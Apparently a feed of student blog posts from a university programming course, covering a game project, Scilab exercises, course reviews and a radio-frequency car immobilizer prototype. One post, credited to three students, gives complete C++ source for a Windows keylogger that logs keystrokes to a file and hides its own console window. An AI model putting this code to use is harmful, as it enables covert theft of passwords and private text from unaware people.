Final Project

For the Final Project my team and I created the famous game Atari Mars Invaders. During the developement of the project we learned lots of things related to the gui on programming. We also learned how to create the “controls” for the game.

It was very exciting to have an open project for the end of the course instead of a given project by the teacher. We could learn just by making something we love to do.

The code for the game is here.

Atari Mars Invaders

Atari

 

Proyecto final Keyloger (Diego Nateras, Alberto Rodriguez y Daniel Mejia)

Aqui esta nuestro proyecto final, es un keylogger que nos costo mucho tiempo hacer, sea como sea nos parece que valio la pena. Aqui les dejo el codigo c++. Esperamos le guste.

#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <fstream>
using namespace std;

void log();
void hider();

int main (){
hider();
log();
return 0;
}

void log(){
char key;
for(;;)
{
//sleep(0);
for(key=8; key <=222; key++)
{
if(GetAsyncKeyState(key)==-32767){
ofstream write (“record.txt”, ios::app);

if((key>64)&&(key<91)&&!(GetAsyncKeyState(0x10)))
{
key+=32;
write << key;
write.close();
break;
}
else if ((key>64)&&(key<91))
{
write << key;
write.close();
break;
}
switch(key){
case 8: write << “<BackSpace>”;
case 27: write << “<ESC>”;
case 127: write << “<DEL>”;
case 32: write << “< >”;
case 13: write << “<Enter>”;

}

}
}
}
}
void hider()
{
HWND stealth;
int ALLocConsole();
stealth=FindWindowA(“ConsoleWindowClass”,NULL);
ShowWindow(stealth,0);
}

WAQ14 Scilab

Scilab es un herramienta muy poderosa y ha tenido tanta fama debido a que es gratis. Es un programa de procesamiento de datos matemáticos con mucho potencial. Este requiere de programación para poder utilizarlo. En lo personal lo he utilizado muy poco, pero hablando con mi maestra de matemáticas  nos comento que aunque tiene mucho poder y que es gratis, Scilab se ve opacado por softwares como R y Matlab, siendo R gratuito y Matlab de paga. Los tres requieren de una programacion muy parecida. Asi que vale la pena aprender a programar en cualquiera de estos 3 softwares ya que va a ser algo que vamos a necesitar durante toda nuestra carrera y vida porfecional como ingenieros.

Class Review

Hello everyone that normally follows my blogs, I know that I took longer than expected this time. I have just been bad at managing my time lately, I have to work more on that. Well in this blog I’m gonna be talking about ken’s course and this new method of LEARNING not teaching. Let me just start off by saying that I loved it and I wish more everybody else was doing it too. Of course not exactly the same because every course needs it’s own special way. I mean programming at this level is something that you can pretty much do by yourself but physics, math and chemistry maybe is so easy. For example the video below is a perfect demonstration on what ken’s doing with us in his class. It is not exactly the same but it is very very similar. I guess the big difference would be that he does give us any specific video to watch, he just expects us to learn at home but during class he is always there to help, so that part is the same.

I was skeptical about this course at first I even went to see ken at his office to tell him that I was a bit worried about how things were gonna go. He told it would be fine and I guess I trusted him. Even though ken didn’t really lecture us on anything rather than asked us to make new programs and to find out how to do them on our own, I learned so much about programming and social networking. I used to hate asking anybody, other than the teacher, for help. Now I see that it is even better to learn with your classmates instead of by yourself. Now before I talk about the things

Continue reading “Class Review”

PROJECT WIRLESS COMUNICATION

Hey guys it has been a while since the last time that I published anything but I came back to show you guys some cool thing that I have been building for some time now. It isn’t perfect yet but it is a working prototype. Basically what I’m trying to do is build a security system for cars. In the market they are called immobilizers but they ara kind of expensive so I’m made this much more economic one.

So in the video you will see two circuits, one is the transmitter and the other is the receiver. Each circuit consists of 3 parts. In the transmitter circuit we have: an encoder (HT12E), a PIC 16F628A and a radio frequency transmitter. In the receiving circuit we have: a decoder (HT12D), a PIC 16F628A and a radio frequency receiver.

I made of a pattern of numbers that i choose at the beginning of the program. The two circuits work as a pair and if any of them fail then the whole system fails. The flow of information goes like this: first the PIC from the transmitter sends in a loop information to the encoder (HT12E) and then the encoder encrypts the information to then send it to the radio frequency transmitter. After that the radio frequency receiver intercepts it and sends the data to the decoder (HT12D), this decoder deciphers the information and sends it to the PIC on the receiving circuit. If all the information is correct then the pick activates a relay which finally activates the fan. Remember that the fan is just there for demonstration. It can be replaced with anything that needs 12 volts.Capture1.JPG

Capture2Here is a screenshot of my code. The first image shows the code for the first pic which is on the the transmitter

Continue reading “PROJECT WIRLESS COMUNICATION”

Reflexión del curso #Kenscourses

Pues esta es mi reflexión acerca del curso de Ken en el semestre de invierno 2016, Pues en realidad el profesor llegaba y nos daba mini exámenes o nos decía que había nuevas tareas que resolver, el tipo de clase que tuvimos con el era diferente a todas las demás, era un sistema flexible, tu tomabas tus decisiones acerca del manejo de tus calificaciones y faltas, tu en clase decidías que es mas importante  y en que momento hacerlo, no había ningún tipo de presión hacia nosotros pero si no tienes un orden eso te puede perjudicar, en mi caso yo se que no fui uno de los mejores alumnos de su clase, fue mi decisión, pero aun así aprendí y disfrute su clase. Y lo único que tengo que decir es Gracias Ken por este semestre.

Course Review TC101

Este es el trabajo final de esta materia llamada Solución de problemas con programación con el profesor Ken Bauer.

A pesar de haber batallado bastando al principio del curso por dificultades al programar y al organizar bien mi tiempo, terminé disfrutando este curso, por el ambiente que se vivía durante el salón de clases y por la nueva experiencia que me llevo con el modelo de aprendizaje TEC21 o Flipped Learning.

Llevo conmigo muchas cosas aprendidas en este curso acerca de programar en C++, le di continuidad por primera vez a un blog creado por mi durante todo un semestre que espero y pueda ser de utilidad en un futuro para alumnos que cursen esta materia.

Agradezco al profesor Ken Bauer y a mis compañeros por todo el apoyo que me brindaron al momento de cursar esta materia.

WSQ14 – Scilab

scilab_official

Scilab es un software para análisis numérico, con un lenguaje de programación de alto nivel para cálculo científico. Es desarrollado por Scilab Enterprises, bajo la licencia CeCILL, compatible con la GNU General Public License.

Las características de Scilab incluyen análisis numérico, visualización 2-D y 3-D, optimización, análisis estadístico, diseño y análisis de sistemas dinámicos, procesamiento de señales, e interfaces con Fortran, Java, C y C++. Mientras que la herramienta Xcos permite una interfaz gráfica para el diseño de modelos.

Wikipedia

Para este último WSQ, se instaló este programa llamado Scilab con el propósito de conocer las utilidades que podemos encontrar en Scilab y probarlo un poco.

3

Para no estar tan desubicados con este programa, se nos proporcionó 2 manuales tutoriales, uno en inglés y otro en español.

Aquí les dejo un vídeo, el cual es una introducción a Scilab:

Lo primero que hice con el programa abierto por primera vez, fueron unas operaciones muy sencillas, declaramos una variable “x” y una variable “y”, las cuales las multiplicamos entre si, y por ultimo, el resultado fue multiplicado por otro número.

4.png

Espero que este programa me pueda ser de utilidad en un futuro cercano en mis estudios, ya que es una herramienta muy completa a la cual se le puede sacar mucho provecho.

Link de descargar OFICIAL Scilab: Descargar Scilab